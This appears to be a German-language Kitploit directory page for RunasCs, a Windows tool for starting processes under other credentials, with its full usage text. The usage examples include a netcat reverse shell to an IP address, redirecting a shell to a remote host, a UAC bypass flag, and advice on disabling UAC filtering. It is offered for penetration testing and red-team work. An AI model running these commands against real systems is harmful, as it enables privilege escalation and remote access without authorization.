Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
RunasCs — RunasCs - Csharp and open version of windows builtin runas.exe | Kitploit
Tools/GitHubGitHub/antoniococo/runascs
Privilege EscalationImpersonation ToolsLateral MovementPost-ExploitationPenetration TestingRed Teaming
GitHubantoniococo/runascs

RunasCs

RunasCs - Csharp and open version of windows builtin runas.exe

Repository anzeigen
1.4k161vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

RunasCs


RunasCs ist ein Dienstprogramm zum Ausführen bestimmter Prozesse mit anderen Berechtigungen, als sie die aktuelle Anmeldung des Benutzers bietet, unter Verwendung expliziter Anmeldeinformationen. Dieses Tool ist eine verbesserte und offene Version des in Windows integrierten runas.exe und behebt einige Einschränkungen:

  • Ermöglicht explizite Anmeldeinformationen
  • Funktioniert sowohl, wenn es von einem interaktiven Prozess gestartet wird, als auch von einem Dienstprozess
  • Verwaltet DACL für Window Stations und Desktop bei der Erstellung des neuen Prozesses ordnungsgemäß
  • Verwendet zuverlässigere Prozesserstellungsfunktionen wie CreateProcessAsUser() und CreateProcessWithTokenW(), wenn der aufrufende Prozess über die erforderlichen Berechtigungen verfügt (automatische Erkennung)
  • Ermöglicht die Angabe des Anmeldetyps, z. B. 8-NetworkCleartext-Logon (keine UAC-Einschränkungen)
  • Ermöglicht die Umgehung von UAC, wenn ein Administratorkennwort bekannt ist (Flag --bypass-uac)
  • Ermöglicht die Erstellung eines Prozesses, bei dem der Hauptthread den angeforderten Benutzer impersoniert (Flag --remote-impersonation)
  • Ermöglicht die Umleitung von stdin, stdout und stderr an einen entfernten Host
  • Es ist Open Source :)

RunasCs verfügt über eine automatische Erkennung, um die beste Prozesserstellungsfunktion für jeden Kontext zu bestimmen. Basierend auf den Berechtigungen des aufrufenden Prozess-Tokens wird eine der Prozesserstellungsfunktionen in der folgenden bevorzugten Reihenfolge verwendet:

  1. CreateProcessAsUserW()
  2. CreateProcessWithTokenW()
  3. CreateProcessWithLogonW()

Anforderungen


.NET Framework >= 2.0

Verwendung


root@kitploit:~
RunasCs v1.5 - @splinter_code

Usage:
    RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]

Description:
    RunasCs is an utility to run specific processes under a different user account
    by specifying explicit credentials. In contrast to the default runas.exe command
    it supports different logon types and CreateProcess* functions to be used, depending
    on your current permissions. Furthermore it allows input/output redirection (even
    to remote hosts) and you can specify the password directly on the command line.

Positional arguments:
    username                username of the user
    password                password of the user
    cmd                     commandline for the process

Optional arguments:
    -d, --domain domain
                            domain of the user, if in a domain.
                            Default: ""
    -f, --function create_process_function
                            CreateProcess function to use. When not specified
                            RunasCs determines an appropriate CreateProcess
                            function automatically according to your privileges.
                            0 - CreateProcessAsUserW
                            1 - CreateProcessWithTokenW
                            2 - CreateProcessWithLogonW
    -l, --logon-type logon_type
                            the logon type for the token of the new process.
                            Default: "2" - Interactive
    -t, --timeout process_timeout
                            the waiting time (in ms) for the created process.
                            This will halt RunasCs until the spawned process
                            ends and sent the output back to the caller.
                            If you set 0 no output will be retrieved and a
                            background process will be created.
                            Default: "120000"
    -r, --remote host:port
                            redirect stdin, stdout and stderr to a remote host.
                            Using this option sets the process_timeout to 0.
    -p, --force-profile
                            force the creation of the user profile on the machine.
                            This will ensure the process will have the
                            environment variables correctly set.
                            WARNING: If non-existent, it creates the user profile
                            directory in the C:\Users folder.
    -b, --bypass-uac
                            try a UAC bypass to spawn a process without
                            token limitations (not filtered).
    -i, --remote-impersonation
                            spawn a new process and assign the token of the
                            logged on user to the main thread.

Examples:
    Run a command as a local user
        RunasCs.exe user1 password1 "cmd /c whoami /all"
    Run a command as a domain user and logon type as NetworkCleartext (8)
        RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
    Run a background process as a local user,
        RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
    Redirect stdin, stdout and stderr of the specified command to a remote host
        RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
    Run a command simulating the /netonly flag of runas.exe
        RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
    Run a command as an Administrator bypassing UAC
        RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
    Run a command as an Administrator through remote impersonation
        RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation

Die beiden Prozesse (aufrufender und aufgerufener) kommunizieren über eine Pipe (sowohl für stdout als auch stderr). Der Standard-Anmeldetyp ist 2 (Interaktiv).

Standardmäßig ist der Anmeldetyp Interaktiv (2) durch UAC eingeschränkt und das aus diesen Authentifizierungen erzeugte Token wird gefiltert. Sie können die interaktive Anmeldung ohne Einschränkungen ermöglichen, indem Sie den folgenden Registrierungsschlüssel auf 0 setzen und den Server neu starten:

root@kitploit:~
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

Alternativ können Sie das Flag --bypass-uac versuchen, um die Token-Filter-Einschränkung zu umgehen.

Der Anmeldetyp NetworkCleartext (8) ist der mit den weitesten Berechtigungen, da er bei lokalen Token nicht von UAC gefiltert wird und weiterhin Authentifizierungen über das Netzwerk erlaubt, weil er Anmeldeinformationen im Authentifizierungspaket speichert. Wenn Sie über ausreichende Berechtigungen verfügen, versuchen Sie, diesen Anmeldetyp immer über das Flag --logon-type 8 anzugeben.

Standardmäßig wartet der aufrufende Prozess (RunasCs), bis die Ausführung des erzeugten Prozesses beendet ist. Wenn Sie einen Hintergrund- oder asynchronen Prozess erzeugen müssen, z. B. eine Reverse Shell, müssen Sie den Parameter -t timeout auf 0 setzen. In diesem Fall wartet RunasCs nicht auf das Ende der Ausführung des neu erzeugten Prozesses.

Referenzen


  • Potatoes and tokens
  • Starting an Interactive Client Process in C++
  • Creating a Child Process with Redirected Input and Output
  • Interactive Services
  • What is up with "The application failed to initialize properly (0xc0000142)" error?
  • Getting an Interactive Service Account Shell
  • Reading Your Way Around UAC (Part 1)
  • Reading Your Way Around UAC (Part 2)
  • Reading Your Way Around UAC (Part 3)
  • Vanara - A set of .NET libraries for Windows implementing PInvoke calls to many native Windows APIs with supporting wrappers

Mitwirkende


  • @decoder
  • @qtc-de
  • @winlogon0
Tool herunterladen